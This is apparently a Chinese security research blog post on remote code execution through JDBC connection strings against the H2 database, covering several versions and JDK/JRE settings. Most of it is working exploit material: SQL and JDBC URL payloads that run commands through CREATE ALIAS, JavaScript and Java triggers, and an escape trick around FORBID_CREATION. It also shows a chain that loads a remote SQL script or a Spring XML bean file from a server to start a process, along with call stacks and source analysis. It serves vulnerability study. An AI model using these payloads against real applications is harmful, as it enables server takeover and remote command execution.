基于h2的JDBC攻击

屏幕截图2025-05-26205200

Java SQL 数据库。H2 的主要特性有:

  • Very fast, open source, JDBC API非常快速、开源的 JDBC API
  • Embedded and server modes; in-memory databases嵌入式和服务器模式;内存数据库
  • Browser based Console application基于浏览器的控制台应用程序
  • Small footprint: around 2.5 MB jar file size占用空间小:约 2.5MB 的 JAR 文件大小

h2会通过 INIT 属性启用连接时执行SQL

漏洞复现

1.4.198 (2019-02-22) 版本开始,H2不再自动创建数据库

执行sql命令

启动命令

1
java -cp h2-1.4.200.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists

连接后执行

1
2
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}';
CALL EXEC ('calc');

image-20250502131703167

值得注意的是这段Java代码是需要通过javac编译的,如果是jre的环境下就无法利用。JDK是用于java程序的开发,而jre则是只能运行class而没有编译的功能

JDBC

这需要控制sql语句还是有点困难的,那如何像之前那样起一个恶意服务来进行命令执行呢?

1
jdbc:h2:mem:test;MODE=MSSQLServer;INIT=RUNSCRIPT FROM 'http://127.0.0.1/h2.sql'

image-20250502161727261

那执行命令可以反弹shell,如果不出网应该如何利用呢?

高版本绕过

JNDI

影响版本<2.0.206

修改Driver Class为javax.naming.InitialContext

image-20250503212149040

看到org.h2.util.JdbcUtils#getConnection(java.lang.String, java.lang.String, java.util.Properties)

image-20250503210321562

如果为javax.naming.InitialContext就会调用lookup

image-20250503220751965

FORBID_CREATION

ifExists等于true时,则执行databaseUrl += ";FORBID_CREATION=TRUE";,意味着在连接字符串后面增加一个新的属性FORBID_CREATION,值为TRUE,即禁止创建数据库。

通过\转义拼接过后的\;FORBID_CREATION=TRUE就是一个变量的值了。

后面不出网绕过的利用就是这个思路。

不出网利用

javascript收到JDK版本限制。Nashorn JavaScript 引擎在JDK15后被废除。

<1.4.198

1
2
3
jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec("calc.exe")
$$;

1.4.198<=&&<2.0.202

1
2
3
jdbc:h2:mem:test;MODE=MSSQLServer;FORBID_CREATION=FALSE;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec("calc.exe")
$$;AUTHZPWD=\

image-20250505145736244

2.0.202<=&&<2.1.210

1
2
3
jdbc:h2:mem:test;MODE=MSSQLServer;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec("calc.exe")
$$;XXX=\

image-20250505151012297

高版本JDK与JRE下利用

h2自身的Trigger功能

JDK15之后没有了

之前js代码得以执行是因为类org.h2.util.SourceCompiler

Java

  • 可以通过 javacCompile 方法调用 javac 命令进行编译,也可以通过 javaxToolsJavac 方法使用 javax.tools.JavaCompiler 进行编译。
  • 编译后的类可以被加载,在 getClass 方法中,当处理非 Groovy 等其他语言的代码时,会尝试编译并加载 Java 类。

Groovy(需要引入依赖)

  • 通过 isGroovySource 方法判断源代码是否为 Groovy 代码(以 //groovy@groovy 开头)。
  • 如果是 Groovy 代码,在 getClass 方法中会调用 GroovyCompiler.parseClass 方法来解析和编译 Groovy 代码,并加载生成的类。

JavaScript:

  • 通过 isJavascriptSource 方法判断源代码是否为 JavaScript 代码(以 //javascript 开头)。
  • getCompiledScript 方法中,如果是 JavaScript 代码,会使用 ScriptEngineManager 获取 JavaScript 脚本引擎,并编译脚本。

Ruby

  • 通过 isRubySource 方法判断源代码是否为 Ruby 代码(以 #ruby 开头)。
  • getCompiledScript 方法中,如果是 Ruby 代码,会使用 ScriptEngineManager 获取 Ruby 脚本引擎,并编译脚本。

那么可以通过传入java代码被编译后执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example.h2jdbc;

import java.sql.DriverManager;

public class h2client {
public static void main(String[] args) throws Exception {
Class.forName("org.h2.Driver");
String simplexp = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$ void Unam4exp() throws Exception{ Runtime.getRuntime().exec(\"calc\")\\;}$$";
java.sql.Connection conn = DriverManager.getConnection(simplexp);
}
}

传入被处理后org.h2.command.ddl.CreateTrigger#update的triggerSource为构造好的代码。

image-20250508113835824

调用org.h2.schema.TriggerObject#setTriggerSource

image-20250508114055544

再进入org.h2.schema.TriggerObject#setTriggerAction

image-20250508114119282

通过org.h2.schema.TriggerObject#loadFromSource将数据拿去编译成代码。

image-20250508114310219

一步步进去看到拼接好的代码被拿去编译了。

image-20250508114746369

最后还是回到org.h2.schema.TriggerObject#loadFromSource通过其中利用反射调用到恶意方法。

image-20250508114941182

调用堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
getClass:136, SourceCompiler (org.h2.util)
getMethod:244, SourceCompiler (org.h2.util)
loadFromSource:109, TriggerObject (org.h2.schema)
load:87, TriggerObject (org.h2.schema)
setTriggerAction:149, TriggerObject (org.h2.schema)
setTriggerSource:142, TriggerObject (org.h2.schema)
update:125, CreateTrigger (org.h2.command.ddl)
update:139, CommandContainer (org.h2.command)
executeUpdate:304, Command (org.h2.command)
executeUpdate:248, Command (org.h2.command)
openSession:280, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:12, h2client (org.example.h2jdbc)

image-20250508131629183

引用已知的 Java 静态方法

顺便学习CodeQL的使用。

当只有JRE的环境下,那传入Java代码就无法被编译,那么之前的利用就会被限制,这个时候可以使用ClassPathXmlApplicationContext这个类。

Features

h2的sql语句CREATE ALIAS ... FOR

image-20250528111156924

ClassPathXmlApplicationContext并不是静态方法所以不能直接利用。

通过org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])

image-20250528110721290

正好这是一个静态 Java 方法。反射创建ClassPathXmlApplicationContext加载恶意xml文件。但是传入的不能为string要为object类型。

这时候需要寻找一个方法来进行类型的转换。

About CodeQL queries — CodeQL

CodeQL for Java and Kotlin — CodeQL

codeQL基本查询结构

1
2
3
4
5
import /*codeQL库或者模块,如果查询java就定义为java*/

from /*定义变量*/
where /*逻辑公式,此子句使用聚合、谓词和逻辑公式将感兴趣的变量限制为满足定义条件的较小集合。 */
select /*表达式,例如之前定义的变量*/

着重看一下where后面的条件

image-20250526162807195

结合上述分析我们需要找一个静态单个变量输入为string,输出为object的方法。

image-20250526164032988

这个方法将字符串转换为普通字符串或字节数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
/**
* Given an attribute value string formated according to the rules
* specified in
* <a href="http://www.ietf.org/rfc/rfc2253.txt">RFC 2253</a>,
* returns the unformated value. Escapes and quotes are
* stripped away, and hex-encoded UTF-8 is converted to equivalent
* UTF-16 characters. Returns a string value as a String, and a
* binary value as a byte array.
* <p>
* Legal and illegal values are defined in RFC 2253.
* This method is generous in accepting the values and does not
* catch all illegal values.
* Therefore, passing in an illegal value might not necessarily
* trigger an <tt>IllegalArgumentException</tt>.
*
* @param val The non-null string to be unescaped.
* @return Unescaped value.
* @throws IllegalArgumentException When an Illegal value
* is provided.
*/
public static Object unescapeValue(String val) {

char[] chars = val.toCharArray();
int beg = 0;
int end = chars.length;

// Trim off leading and trailing whitespace.
while ((beg < end) && isWhitespace(chars[beg])) {
++beg;
}

while ((beg < end) && isWhitespace(chars[end - 1])) {
--end;
}

// Add back the trailing whitespace with a preceding '\'
// (escaped or unescaped) that was taken off in the above
// loop. Whether or not to retain this whitespace is decided below.
if (end != chars.length &&
(beg < end) &&
chars[end - 1] == '\\') {
end++;
}
if (beg >= end) {
return "";
}

if (chars[beg] == '#') {
// Value is binary (eg: "#CEB1DF80").
return decodeHexPairs(chars, ++beg, end);
}

// Trim off quotes.
if ((chars[beg] == '\"') && (chars[end - 1] == '\"')) {
++beg;
--end;
}

StringBuilder builder = new StringBuilder(end - beg);
int esc = -1; // index of the last escaped character

for (int i = beg; i < end; i++) {
if ((chars[i] == '\\') && (i + 1 < end)) {
if (!Character.isLetterOrDigit(chars[i + 1])) {
++i; // skip backslash
builder.append(chars[i]); // snarf escaped char
esc = i;
} else {

// Convert hex-encoded UTF-8 to 16-bit chars.
byte[] utf8 = getUtf8Octets(chars, i, end);
if (utf8.length > 0) {
try {
builder.append(new String(utf8, "UTF8"));
} catch (java.io.UnsupportedEncodingException e) {
// shouldn't happen
}
i += utf8.length * 3 - 1;
} else { // no utf8 bytes available, invalid DN

// '/' has no meaning, throw exception
throw new IllegalArgumentException(
"Not a valid attribute string value:" +
val + ",improper usage of backslash");
}
}
} else {
builder.append(chars[i]); // snarf unescaped char
}
}

// Get rid of the unescaped trailing whitespace with the
// preceding '\' character that was previously added back.
int len = builder.length();
if (isWhitespace(builder.charAt(len - 1)) && esc != (end - 1)) {
builder.setLength(len - 1);
}
return builder.toString();
}

执行的sql语句

1
2
3
4
5
6
7
8
9
10
CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)';
CREATE ALIAS NEW_INSTANCE FOR 'org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])';
CREATE ALIAS UNESCAPE_VALUE FOR 'javax.naming.ldap.Rdn.unescapeValue(java.lang.String)';

SET @url_str='http://127.0.0.1/evil.xml';
SET @url_obj=UNESCAPE_VALUE(@url_str);
SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext');
SET @string_clazz=CLASS_FOR_NAME('java.lang.String');

CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_obj]);

evil.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>

image-20250528110957939

还发现一种传参的方式如何执行命令。

image-20250528105608170

结合上传文件的方式可以这样加载本地sql文件

1
2
3
4
5
6
7
8
9
10
11
12
package org.example.h2jdbc;

import java.sql.DriverManager;

public class h2client {
public static void main(String[] args) throws Exception {
Class.forName("org.h2.Driver");
String url = "jdbc:h2:mem:test;INIT=runscript from 'create.sql'\\;runscript from 'init.sql'";
java.sql.Connection conn = DriverManager.getConnection(url);
}
}

image-20250528105537595

参考:

https://h2database.com/html/main.html

https://exp10it.io/2025/03/h2-rce-in-jre-17/

https://xz.aliyun.com/news/13371

https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html

https://www.leavesongs.com/PENETRATION/jdbc-injection-with-hertzbeat-cve-2024-42323.html

https://www.leavesongs.com/PENETRATION/springboot-xml-beans-exploit-without-network.html

https://unam4.github.io/2024/11/12/h2%E6%95%B0%E6%8D%AE%E5%BA%93%E5%9C%A8jdk17%E4%B8%8B%E7%9A%84rce%E6%8E%A2%E7%B4%A2/

https://zhuanlan.zhihu.com/p/161482688